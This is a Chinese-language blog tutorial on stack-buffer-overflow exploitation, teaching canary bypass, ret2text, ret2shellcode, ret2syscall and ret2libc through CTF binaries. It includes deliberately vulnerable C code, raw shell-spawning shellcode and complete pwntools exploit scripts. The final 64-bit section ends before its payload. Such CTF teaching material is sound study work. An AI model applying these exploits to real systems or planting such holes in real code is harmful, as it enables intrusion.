HackPluto's Blog

Pwn--栈溢出与绕过防护

字数统计: 5.2k阅读时长: 21 min
2019/08/01 Share

栈溢出

在计算机安全领域,缓冲区溢出是个古老而经典的话题。栈溢出是指在栈内写入超出长度限制的数据,从而破坏程序运行甚至获得系统控制权的攻击手段。
为了实现栈溢出,要满足两个条件。
第一,程序要有向栈内写入数据的行为;如gets(),read()等
第二,程序并不限制写入数据的长度。

函数调用栈

函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等。称之为“栈”是因为发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶;在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态。函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。

函数状态主要涉及三个寄存器--esp,ebp,eip。
esp 用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
ebp 用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。
eip 用来存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。
下面让我们来看看发生函数调用时,栈顶函数状态以及上述寄存器的变化。变化的核心任务是将调用函数(caller)的状态保存起来,同时创建被调用函数(callee)的状态。首先将被调用函数(callee)的参数按照逆序依次压入栈内。如果被调用函数(callee)不需要参数,则没有这一步骤。这些参数仍会保存在调用函数(caller)的函数状态内,之后压入栈内的数据都会作为被调用函数(callee)的函数状态来保存。

下图中可以从堆栈的数据中明显看出 ebp+4就是返回地址,ebp+8,ebp+12分别是函数的参数

栈溢出

当函数正在执行内部指令的过程中我们无法拿到程序的控制权,只有在发生函数调用或者结束函数调用时,程序的控制权会在函数状态之间发生跳转,这时才可以通过修改函数状态来实现攻击。而控制程序执行指令最关键的寄存器就是 eip,所以我们的目标就是让 eip 载入攻击指令的地址。
先来看看函数调用结束时,如果要让 eip 指向攻击指令,首先,在退栈过程中,返回地址会被传给 eip,所以我们只需要让溢出数据用攻击指令的地址来覆盖返回地址就可以了。其次,我们可以在溢出数据内包含一段攻击指令,也可以在内存其他位置寻找可用的攻击指令。

常见的栈溢出技术:

修改返回地址,让其指向溢出数据中的一段指令(shellcode)
修改返回地址,让其指向内存中已有的某个函数(return2libc)
修改返回地址,让其指向内存中已有的一段指令(ROP)
修改某个被调用函数的地址,让其指向另一个函数(hijack GOT)

这里举一个简单的例子
stack_overflow.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <string.h>
void success() {
puts("You Hava already controlled it.");
}
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}

使用GCC编译

1
gcc -m32 -fno-stack-protector  stack_overflow.c -o  stack_overflow

-m32 使用32位编译
-fno-stack-protector 关闭堆栈保护

将生成的可执行文件拖入IDA中

我们的目标就是通过gets()函数的输入,将函数的返回值覆盖掉,让程序直接跳转到success()函数。
通过IDA可以看到success()函数的起始地址为 0x0804843B

查看数组s的位置
可知s的位置为EBP-0x14

所以我们首先需要把0x14字节的s的填满然后达到EBP的位置,再填充4字节EBP,接下来把success()函数的起始地址填充到EBP-8就好了

1
2
3
4
5
6
7
from pwn import *
sh = process('./stack_overflow')
success_addr = 0x0804843b
payload = 'a'* 0x14 + 'bbbb' + p32(success_addr)
print success_addr
sh.sendline(payload)
sh.interactive()


成功栈溢出

Canary

Canary 介绍

由于栈溢出而引发的攻击非常普遍,相应地一种叫做 canary 的 mitigation 技术很早就出现在 glibc 里, 直到现在也作为系统安全的第一道防线存在。
canary 不管是实现还是设计思想都比较简单高效, 就是插入一个值, 在 栈溢出 发生的 高危区域的尾部, 当函数返回之时检测 canary 的值是否经过了改变, 以此来判断栈溢出是否发生.

Canary 原理

当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 %ebp-0x8 的位置。 在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。

1
2
mov    rax, qword ptr fs:[0x28]
mov qword ptr [rbp - 8], rax

1
2
3
4
mov    rdx,QWORD PTR [rbp-0x8]
xor rdx,QWORD PTR fs:0x28
je 0x4005d7 <main+65>
call 0x400460 <__stack_chk_fail@plt>

如果 canary 已经被非法修改,此时程序流程会走到 stack_chk_fail。stack_chk_fail 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定

Canary 绕过

泄露栈中的 Canary

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。 这种利用方式需要存在合适的输出函数,并且可能需要先溢出泄露 Canary,之后再次溢出控制执行流程。
漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL); //输入输出取消缓冲
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}

这个程序在read函数出存在栈溢出,buf只有100字节的空间但是read一次要向buf中输入2*16^2个字节,所以会造成溢出。
由于程序有Canary的保护,恰好这里有printf的格式化字符串漏洞,所以可以将Canary的内容泄漏出来。
例题:
bamboofox-pwn200
题目提供了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>

void canary_protect_me(void){
system("/bin/sh");
}

int main(void){
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[40];
gets(buf);
printf(buf);
gets(buf);
return 0;
}

ROP

前面的canary是一种防护栈溢出的手段,这里要介绍的NX同样是一种防护栈溢出的手段,我个人觉得栈溢出发生的本质就是CPU没有区分数据和指令,在CPU看来都是一堆的01,所以我们才可以覆盖数据区的内容,而NX就是为了防止这个,在编译的时候就区分了数据页和指令页,数据页没有执行指令的权限。

ROP

随着NX的开启,攻击者目前主要的绕过方式就是ROP,其主要思想是在栈溢出的基础上,利用程序中已有的gadgets来改变某些寄存器或者变量的值,从而控制程序的执行流程。gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

ret2text

ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。

这里使用一个例子
https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text

先使用IDA查看反汇编代码

这里的gets()函数存在溢出漏洞,然后我们又发现了可以执行shell的函数


这个题目比较特殊,我们发现这个题是使用ESP作为索引去操作数组S,

1
2
3
.text:080486A7                 lea     eax, [esp+1Ch]
.text:080486AB mov [esp], eax ; s
.text:080486AE call _gets

所以需要我们动态的调试找出S距离EBP的距离

因为 s=ESP+0x1c,ESP=0xffffce00,EBP=0xffffce88,所以s=EBP-0x6c

1
2
3
4
5
6
7
from pwn import *
sh = process('./ret2text')
success_addr = 0x804863a
payload = 'a'* 0x6c + 'bbbb' + p32(success_addr)
print success_addr
sh.sendline(payload)
sh.interactive()

成功拿到了shell 

ret2shellcode

ret2shellcode,即控制程序执行 shellcode 代码。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

这里同样使用一个例子
https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ret2shellcode
和上一个程序很像

溢出点同样在gets(),但是这个程序没有shell让我们去执行,我们只能自己去写shellcode,可以使用pwntools里的shellcode()。

1
shellcode = asm(shellcraft.sh())

这个会自动生成一个44字节的shellcode
现在就是计算偏移,和上一个的方法一样使用GDB调试
计算出偏移为0x6c,所以需要填充0x6c+4的代码,然后再加上buf的地址

payload:

1
2
3
4
5
6
from pwn import *
sh = process('./ret2shellcode')
success_addr = 0x804a080
shellcode = asm(shellcraft.sh())
sh.sendline(shellcode.ljust(112,'a')+p32(success_addr))
sh.interactive()

拿到shell

sniperoj-pwn100-shellcode-x86-64
首先查看堆栈保护,发现这个程序什么保护都没有开

将程序拖入IDA中
程序在read()处存在栈溢出

buf的偏移是EBP-0x10,read的读取长度是37字节
现在有两种解决方式
1.使用一个短的shellcode()
2.新写一个read()函数,将读取的长度变大些

23字节shellcode

1
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

payload

1
2
3
4
5
6
7
8
from pwn import *
sh = process('./shorter-shellcode-x86-64')
sh.recvuntil('[')
success_addr = sh.recvuntil(']',drop=True)
print success_addr
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
sh.sendline('a'*24 + p64(int(success_addr,16)+32) + shellcode)
sh.interactive()

ret2syscall
这里使用一个例子
https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop

首先查看程序的堆栈保护

1
2
3
4
5
6
➜  ret2syscall checksec rop
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

只开启了NX
查看反汇编

虽然在gets()的位置存在溢出但是这是在数据部分无法执行代码,所以直接在溢出数据里填充代码是不可行的。
首先计算出偏移为EBP-108

由于这个程序我们不能自己插入shellcode,所以只能依靠系统调用

系统调用就是运行在用户空间的程序的运行的过程中,向操作系统内核申请更高级的权限。系统调用提供用户与操作系统内核之间的接口。

Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。操作系统实现系统调用的基本过程是:
1.应用程序调用库函数(API);
2.API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
3.内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
4.系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
5.中断处理函数返回到 API 中;
6.API 将 EAX 返回给应用程序。

应用程序调用系统调用的过程是:
1.把系统调用的编号存入 EAX;
2.把函数参数存入其它通用寄存器;
3.触发 0x80 号中断(int 0x80)。

所以如果我们想要通过系统调用实现get shell,只需要将

1
execve("/bin/sh",NULL,NULL)

EAX 系统调用号 0xb
EBX 指向/bin/sh的地址
ECX 0
EDX 0

那么现在的目标就是如何将这些寄存器变成我们想要的值,如果栈顶是10,那么我们使用pop eax就可以将eax变成10,这就是我们前面所说的gadgets,然而栈的内容是我们可以控制的。所以只需要找到含有pop eax pop ebx之类的语句即可。
这里介绍使用工具查找gadgets,ROPgadgets


现在已经找完了所有的gadgets
payload:

1
2
3
4
5
6
7
8
9
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
bin_sh = 0x80be408
shellcode = flat(['A'*112,pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, bin_sh, int_0x80])
sh.sendline(shellcode)
sh.interactive()

shellcode那行一开始我一直想不通为什么要这样写,后面想想确实应该是这样,因为一个程序就一个栈,先进行pop ip,当IP指向pop_eax_ret时执行这句对应的操作就是pop eax,ret,那么现在0xb就变成了栈顶,然后再pop eax,eax就变成了0xb,后面的同理。
这个是通过寄存器传参,如果是32位机器下,调用函数要使用栈传参应该怎么将ROP链构造起来呢,这里的问题所在就是,如果是寄存器传参不需要手动的清空堆栈,如果是栈传参需要sub esp或者pop来平衡堆栈,这个也就是难点所在。
比如我现在想要使用ROP链来连续调用下面这三个函数应该怎么办

1
2
3
read(0, 0x11111111, 0x100)
write(1, 0x22222222, 0x200)
system(0x11111111)

payload:

1
payload = flat(['A'*n,read_address,'sub_esp_12_ret',0,0x111111,0x100,write_address,'sub_esp_12_re',1,0x22222222,0x200,system_address,'bbbb',0x11111111])

ret2libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

第一个例子
https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1
首先查看堆栈保护,发现只开启了NX,拖入IDA中,在gets()存在溢出

计算偏移为0x6c


查找一下/bin/sh


再查找一下system()函数


payload:

1
2
3
4
5
6
7
from pwn import *
sh = process('./ret2libc1')
bin_sh = 0x08048720
system_addr = 0x08048460
shellcode = flat(['A'*112,system_addr,'b'*4,bin_sh])
sh.sendline(shellcode)
sh.interactive()

第二个例子
https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc2/ret2libc2
这个题同样是只开启了NX,但是搜索字符串发现没有”/bin/sh”,所以这个地方需要我们自己构造。
先把程序拖入IDA中,查看函数的引用,发现程序中使用了system函数,但是因为没有/bin/sh,所以这个地方需要我们自己输入,要输入就要使用gets函数,刚好程序中也有。

溢出点在gets(s)处,我们首先将EBP-8覆盖为gets函数的地址,然后需要4字节的返回地址,返回地址就是pop ret的地址(使用工具查找),

因为gets()函数需要的参数是一个要存储的地址,这个题我们在.bss 中发现了buf2,所以就将gets读取的内容存储到buf2。buf2的地址就放在返回地址的后面因为根据调用栈的结构参数在返回地址的后面。接着就是system函数的地址,后面是4字节的返回地址可以随意填,最后就是system的参数,buf2的地址。
payload:

1
2
3
4
5
6
7
8
9
10
from pwn import *
sh = process('./ret2libc2')
ebp_ret = 0x0804843d
buf2 = 0x804a080
system_addr = 0x08048490
gets_addr = 0x08048460
shellcode = flat(['A'*112,gets_addr,ebp_ret,buf2,system_addr,'b'*4,buf2])
sh.sendline(shellcode)
sh.sendline("/bin/sh")
sh.interactive()

下一个例子
https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/stackoverflow/ret2libc/ret2libc3/ret2libc3
这个题也是在前一个题的基础上做了升级,改动在现在没有system()函数了,如果我们想着用以前的思路,自己构造系统调用是不行的,因为查找pop ret指令后发现,pop指令完全不够用,所以这个题就要使用一个新的思路,去libc里去寻找system函数,那为什么我们一定可以找到呢,因为

1.system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
2.即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。

github上有人收集了所有的libc https://github.com/niklasb/libc-database

由于libc的延迟绑定所以我们只能泄漏出已经使用过的libc函数地址,然后再推算出我们的目标函数地址。
这里有一个工具可以自动的寻找目标函数地址 https://github.com/lieanu/LibcSearcher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

plaidctf-2013-ropasaurusrex
首先第一步还是查看程序开启了什么保护,发现只开启了NX。将程序拖入IDA中,第一次拖进去发现F5会报错,因为没有对齐堆栈,按照网上的教程对齐堆栈后,查看反汇编


可以看到read处存在溢出,通过看左侧的函数列表发现并没有system()函数和”/bin/sh”字符串。所以需要自己构造,这个题的做法和上一个基本一样。
通过write函数打印出read函数或者’__libc_start_main’的函数地址。然后计算出基地址,接着求出system函数的地址和’/bin/sh’的地址。
我发现网上很多脚本都是错的根本拿不到shell,所以自己写了一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#coding:utf-8
from pwn import *
from LibcSearcher import LibcSearcher

p = process('./ropasaurusrex')
elf = ELF('./ropasaurusrex')

libc = './libc.so.6'
buffer_addr = 0x80483f4
write_addr = elf.plt['write']
libc_start_main_got = elf.got['__libc_start_main']
payload = flat(['A'*0x88,'AAAA',write_addr,buffer_addr,int(1),libc_start_main_got,int(4)])
p.sendline(payload)

libc_start_main_addr = u32(p.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
payload = flat(['A' * 0x88, 0xdeadbeef,system_addr, 0xdeadbeef, binsh_addr])
p.sendline(payload)
p.interactive()

利用通用gadget

前面我们接触到的都是32位的题目,接下来的是64位的漏洞利用,64位和32位有一个很大的区别就是,32位是通过栈传参,而64位是通过寄存器传参,前6个参数分别是RDI,RSI,RDX,RCX,R8,R9。所以我们需要寻找和寄存器相关的gadgets.
但是有时程序中并没有合适的gadgets,所以我们需要去libc中去寻找。我们可以利用libc中的__libc_csu_init函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call qword ptr [r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 __libc_csu_init endp

我们可以看到从040061A开始可以连续的对6个寄存器操作,再看从0400600开始,可以对RDX,RSI,EDI操作还可以调用函数。

这里使用一个C作为范例

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

程序的溢出点在read()处,根据以前的经验,我们可以先劫持write()函数,打印出write函数的地址,然后再寻找出system函数的地址。
构造的write(1,write_got,8)函数。那么对应的寄存器的值为:
RDI 1
RSI write_got
RDX 8












CATALOG
  1. 1. 栈溢出
  2. 2. Canary
  3. 3. ROP